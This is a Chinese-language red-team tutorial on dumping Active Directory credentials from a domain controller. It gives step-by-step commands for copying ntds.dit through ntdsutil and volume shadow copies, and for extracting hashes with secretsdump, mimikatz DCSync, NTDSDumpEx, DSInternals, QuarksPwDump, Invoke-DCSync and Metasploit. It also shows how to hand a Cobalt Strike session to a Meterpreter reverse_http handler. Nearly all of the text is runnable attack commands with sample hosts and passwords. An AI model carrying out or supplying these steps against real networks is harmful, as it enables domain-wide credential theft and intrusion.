Ntds.dit介绍
ntds.dit为ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,它和SAM文件一样,被windows系统锁死
Ntds.dit位置
在域控的:C:\Windows\NTDS

在线方式提取和移动ntds.dit文件
ntdsutils.exe提取ntds.dit
ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持windows server 2003、2008、2012。提取过程分为3步:
第一步:创建快照
ntdsutil.exe snapshot "activate instance ntds" create q q
直接在CS里面用使用会报错:

使用 Beacon execute-assembly / powershell 绕开低权限 shell
PowerShell 默认会继承管理员令牌
powershell ntdsutil.exe snapshot "activate instance ntds" create q q

可以看到快照的uid是 a3afcbbe-37c6-4437-beaf-aa8d70440d85,位置在:

第二步:加载快照
powershell ntdsutil.exe snapshot "mount {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" q q

可以看到快照的地址为C:\SNAP_202606161607_VOLUMEC\
第三步:复制快照中的ntds.dit文件
copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
copy C:\SNAP_202606161607_VOLUMEC\Windows\NTDS\ntds.dit C:\Users\administrator\Desktop\ntds\ntds.dit


第四部:删除快照
powershell ntdsutil.exe snapshot "umount {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" "delete {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" q q

vssadmin提取ntds.dit
vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的"diff空间")的大小等。支持的操作系统:Server 2008、Server 2012
第一步:创建快照
powershell vssadmin create shadow /for=c:

卷影副本 ID: {f8b8cc71-49e6-4e51-b334-942ac13ca932}
卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
第二步:复制文件
shell copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\administrator\Desktop\ntds\ntds.dit

第三步:删除快照
powershell vssadmin delete shadows /for=c: /quiet

vssown提取ntds.dit
vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务
先上传:

第一步:启动卷影复制服务
powershell cscript vssown.vbs /start

第二步:创建一个C盘的卷影副本
powershell cscript vssown.vbs /create c

第三步:列出当前卷影副本
powershell script vssown.vbs /list

第四步:复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

第五步:删除卷影副本
cscript vssown.vbs /delete {B267559B-57D8-4D59-B77F-890CF57BA448}

IFM
可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过PowerShell 或 VMI 远程执行。
第一步:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在C:\test\registry 文件夹下


第二步:删除
rmdir /s/q C:\test
impacket
通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
离线方式读取ntds.dit文件
离线一般需要两步:
1、将远端域控的ntds.dit下载到本地,
2、然后利用再在本地进行。
注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看
ntds.dit 里内容
命令如下:
reg save hklm\system c:\windows\temp\system.hive
下面介绍几种方式离线读取ntds.dit文件

esedbexport(较麻烦,了解就行)
1、我么以kali为例子,安装esedbexport
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
./configure
make
make install
ldconfig
2、导出 ntds.dit,两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文
件夹中
esedbexport -m tables ntds.dit

3、安装 ntdsxtract
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python2 setup.py build
python2 setup.py install
如果提示 ImportError: No module named Crypto.Hash,请执行 pip install pycryptodome
4、将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的
结果将保存在 1.txt 里
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee 1.txt

impacket-secretsdump.exe(重点)
将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
位置在:"C:\Users\31979\Desktop\工具\内网\第四章-横向移动工具\工具\impacket\impacket\secretsdump.exe"

下载到本地


一开始文件大小不对,是因为他正在读文件,等他和cs里面的大小一致时,就移动到本机

将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

成功
NTDSDump.exe
NTDSDumpEx.exe 可以进行导出哈希值的操作
文件在:"C:\Users\31979\Desktop\工具\内网\第五章-域控安全和跨域攻击\工具\NTDSDumpEx\NTDSDumpEx.exe"
.\NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt
如果出现:

报错 JET_errDatabaseDirtyShutdown 翻译:数据库未正常干净关闭(脏关机)
ntds.dit 是 Jet 数据库,AD 正常关机时会把内存事务刷入日志并标记干净状态;你是通过 VSS 快照 / 直接复制文件,数据库事务日志未完成收尾,工具无法直接加载 dit。
方案 1:用 ntdsutil 修复脏关机(域控本地执行,推荐)
- 管理员 CMD/PowerShell 进入 dit 所在目录,执行修复:
ntdsutil
activate instance ntds
files
recover

DSInternals
DSInternals是powershell脚本,可以离线读取ntds文件
安装DSInternals
导出 hash,并保存在 txt 文件里
Install-Module DSInternals -Force
导出 hash,并保存在 txt 文件里
key = Get-Bootkey -SystemHivePath 'system路径' Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey key | Out-File output_hash.txt
在线方式读取ntds.dit文件
在线的方式就是直接读取不需要在导出ntds文件,在域环境中,不要直接在线获取hash,特别是域环境
比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃
mimikatz(重点)
1、可以读取所有用户的hash
lsadump::dcsync /domain:test.com /all /csv
注意:这个命令比较危险,可能使得机器卡死,从而影响其正常业务

在红队环境中最好还是单个读取
2、也可以读取单个用户的hash
mimikatz lsadump::dcsync /domain:test.com /user:administrator

Quarks PwDump
1、上传工具到目标机器,使用命令先导出ntds文件,然后直接读取
工具位置:"C:\Users\31979\Desktop\工具\内网\第五章-域控安全和跨域攻击\工具\QuarksPwDump\QuarksPwDump.exe"
上传到对方机器

shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit

运行后发现这样:

JET_errDatabaseDirtyShutdown = ntds.dit 数据库脏关机
QuarksPwDump 没有内置 Jet 数据库自动修复逻辑,直接读取未完成事务的 dit 文件就会失败;而你之前本地 Windows 运行的 Impacket secretsdump.exe 自带修复流程,所以能正常导出哈希。
- 用 esentutl 软修复(优先,无损)
shell esentutl /r edb /d C:\Users\administrator\Desktop
- 软修复失败则硬修复(会丢失未提交事务,应急用)
shell esentutl /p C:\Users\administrator\Desktop\ntds.dit
修复完成后再执行 QuarksPwDump:
shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit

impacket-secretsdump.exe(重点)
使用secretsdump直接读取
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
例如:secretsdump.exe test/krbuser:qax!123@192.168.113.152 -outputfile 1.txt

密码里面如果出现了@,可能会和后面的@冲突,所以我刚刚临时修改了krbuser用户的密码,用于测试,最后的结果显然成功了
Invoke-DCSync(重点)
Invoke-DCSyncs是powershell脚本可以在线读取内存中的用户hash
位置:"C:\Users\31979\Desktop\工具\内网\第五章-域控安全和跨域攻击\工具\Invoke-DCSync-master\Invoke-DCSync-master\Invoke-DCSync.ps1"
依旧是先上传:

powershell Import-Module .\Invoke-DCSync.ps1;Invoke-DCSync -PWDumpFormat

MSF读取ntds.dit文件
离线读取
离线读取使用msf读取ntds文件,前提是msf必须和域控相同,我们可以使用代理技术,将msf代理到内网,然后使用msf导出ntds文件
1、使用导出模块进行导出
use auxiliary/admin/smb/psexec_ntdsgrab

2、填写相关的选项
主要有 IP,域,用户名和密码
set RHOSTS 192.168.113.152
set SMBDomain test.com
set smbuser administrator
set smbpass "qax@123"

3、运行之后 ntds和system文件会被保存到/root/.msf4/loot下

4、在相应的目录下找到该文件

5、使用相应的工具读取该文件即可
在线读取
1、开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.113.152
set lport 1234
exploit

2、将CS中上线的机器,上线到MSF

注意端口一致
spawn MSF

成功上线

3、拿到shell之后执行hashdump
如果不能执行就迁移进程到64位中

4、或者使用下面的脚本,也可以读取域内的hash
post/windows/gather/smart_hashdump